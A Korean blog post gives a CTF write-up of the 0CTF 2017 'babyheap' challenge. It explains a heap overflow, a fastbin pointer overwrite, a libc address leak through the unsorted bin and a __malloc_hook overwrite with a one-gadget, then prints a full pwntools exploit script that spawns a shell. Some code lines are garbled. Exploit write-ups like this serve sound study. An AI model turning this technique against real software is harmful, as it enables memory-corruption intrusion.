티스토리 뷰

CTF write-up

0ctf 2017 babyheap [ pwnable ]

marshimaro aSiagaming 2017. 7. 15. 22:35

힙 익스중에서 매우 쉬운편에 속하는 문제이지만...

이제 막 힙 익스를 공부하기 시작한 나로서 지금은 힘든 문제.....


how2heap만 보고 공부하기엔 재미가 없어서, 간단한 실제 문제를 가지고 write-up을 조금씩 참고하면서 어떤식으로

힙 익스를 진행하는지 공부해봤다.

개념을 좀 더 익히고 몇문제만 더 풀어보면 어느정도 감은 잡을 수 있을 것 같다.


일단 생각을 정리하는겸 기록을 남겨본다.


사실 바이너리 자체는 크게 분석할 게 없다....


입력받는 사이즈대로 calloc을 통해 할당해주고....

입력받는 곳에서 사이즈 검증을 진행하지않아 overflow취약점이 발생하고

free는 기존의 glibc의 free함수를 이용한다.


이게 웬만한 환경에서 다 그런건진 모르겠는데, 어쨋건 메모리는 거의 page 단위로 할당되고 randomization이 진행되다보니,

하위 12bit는 불변인 경우가 많다. 라이브러리를 릭하는 경우에도 그렇고, 힙의 주소도 마찬가지인 것 같다.


이게 만약 모든 환경에 적용되는 사실이라면, 굳이 heap주소를 leak하지 않아도 되는 것 같다.






PIE가 걸려있으면, 디버깅과정이 매우매우 귀찮다 -_-

아직은 PIE에 FULL RELRO옵션이면 hook을 덮어준다... 정도만 알고있는데

다른 방법으로 FULL RELRO바이너리를 익스하는 방법도 공부해야겠당.


그리고 힙을 막 공부를 시작한터라 arena같은 게 뭔지 잘 몰랐는데... 이것도 하나의 구조체형태더라.

arena안에 fastbinY나 bins들이 되어있고 이 bins들도 fastbin을 제외하면 fd와 bk를 가진다.


이 빈리스트에 chunk가 free되어 등록되었다가 떨어져나가는 것도 unlink의 한 과정이겠지.

여타 다른 security check routine들도 다시 공부해봐야하고....


확실히 힙 익스가 다채롭다고해야하나?? 그런면에서 많은 분들이 재밋다고 하는것 같다.


최종적으로는 어떤 기법이니 뭐니 그런것에 의존하기보다는... security check routine을 제대로 숙지하고

마음대로 힙을 주무를 수 있게되는 것이 하핫 ㅋㅋ





우선 라이브러리 주소를 leak해주어야 한다.

사실 나에겐 이 부분부터 처음이라 되게 난관이였다 ㅋㅋㅋㅋ

위의 그림과 같이 fastbin크기 (0x20 ~ 0x80) size로 할당요청을 하면 저런식으로 4개의 fastbin chunk가 구성되고

마지막에 smallbin size의 chunk를 하나 구성해준다.


fastbin이 가지는 특유의 LIFO구조와 single linked list를 이용하여 fd를 임의로 조작하고 할당해줄 수 있다.

fastbin자체는 단방향 fd만 가지기때문에 이걸로 라이브러리를 릭하거나 그러지는 못하는 것 같다.


그래서 마지막에 smallbin을 할당한건데, smallbin 크기의 chunk가 free되면 우선 unsorted bin에 들어가기때문에, main_arena + 88의 위치를 구할 수 있다.

chunk를 처음부터 1, 2, 3, 4, 5번이라고 했을 때, 2번과 3번 chunk를 free해준다.

그러면 3번 chunk에는 2번 chunk의 실질적인 시작위치( 헤더 앞부분 )가 쓰이게 된다.


그리고 fastbinY에는 마지막에 free해준 3번 chunk가 들어가게 된다.

이 chunk가 다시 할당될 때, fastbinY의 fd는 3번 chunk의 fd를 참고하기 때문에, 이 부분의 데이터를 임의로 조작해주면 된다.

기본적인 사이즈는 그대로 두고, fd의 1byte를 overwrite하여 smallbin 크기의 chunk쪽으로 향하게 수정해준다.


그러면, 0x20의 크기를 새롭게 요청할 때, 이 fastbinY에서 꺼내가게 되니까, smallbin쪽에 사실상 이중으로 chunk를 할당하게 되는 것이다.

하지만 여기서 할당하게 될 때, fastbin에서 꺼내가는 경우, 이 chunk에 대한 security check가 하나 이루어지는데

size에 대한 검증이다.


그래서 5번째 chunk의 사이즈로 한번 overflow를 통해 수정해주어야 한다.

그리고 할당을 진행하고나면 다시 원래의 size로 돌려줘서 free를 진행한다.


그러면 해당 chunk에는 fd와 bk가 쓰이게되며, smallbin의 chunk는 free되었지만, fd를 1byte overwrite해주고 새롭게 할당해준

fastbin자체는 해당 영역에 남아있다.


그래서 dump메뉴를 통해 fd를 leak해서 라이브러리 베이스를 구할 수 있다.


그리고 똑같은 원리로 malloc_hook 앞쪽의 어느 한 주소에 chunk를 할당하여 malloc_hook을 덮어주고 malloc을 부르면 된다.






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
import time
 
 
debug = True
if debug:
    p = process(["./0ctfbabyheap"])
    #context.log_level = 'debug'
context.binary = "./0ctfbabyheap"
 
prog = log.progress("aSiagaming ")
 
 
def allocate(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
 
def fill(idx, code):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.sendline(str(len(code)))
    p.recv()
    p.sendline(code)
 
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
 
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))    # Need to write another p.recv()
 
allocate(0x20)          # actually allocate 0x20
allocate(0x20)
allocate(0x20)
allocate(0x20)
allocate(0x80)
 
prog.status("Allocation is done !")
time.sleep(0.3)
 
free(1)
free(2)
 
prog.status("First Free doen !")
time.sleep(0.3)
 
exp = p64(0* 5
exp += p64(0x31)
exp += p64(0* 5
exp += p64(0x31)
exp += p8(0xc0)         # overwrite fastbin fd
fill(0, exp)
 
prog.status("Overwrite fastbin chunk")
time.sleep(0.3)
 
exp = p64(0* 5        # overwrite chunk5 size
exp += p64(0x31)
fill(3, exp)
 
allocate(0x20)
allocate(0x20)      # This is idx2, and allocate location idx4
 
prog.status("Now, fastbins fd is smallbin's chunk")
 
exp = p64(0* 5
exp += p64(0x91)    # restore size
fill(3, exp)
 
prog.status("Restore smallbin's chunk size")
time.sleep(0.3)
 
allocate(0x80)
free(4)
 
dump(2)
p.recvuntil(": \n")
leak = u64(p.recv(8))
prog.status("Leak done !")
magic_offset = 0x37e8b6
libc_base = leak - 0x3c3b20 - 88
log.success("main_arena + 88 : " + hex(leak ))
log.success("magic gadget : " + hex(leak - magic_offset))
log.success("libc base : " + hex(libc_base))
magic_addr = libc_base + 0x000000000004526a
 
allocate(0x68)
free(4)
 
 
fill(2, p64(libc_base + 0x3c3aed))
allocate(0x60)
allocate(0x60)
 
exp = "\x00" * 3
exp += p64(0* 2 + p64(magic_addr)
 
fill(6, exp)
 
prog.status("Get Shell......")
time.sleep(0.5)
 
allocate(0x300)
p.interactive()
 
 
cs


댓글
댓글쓰기 폼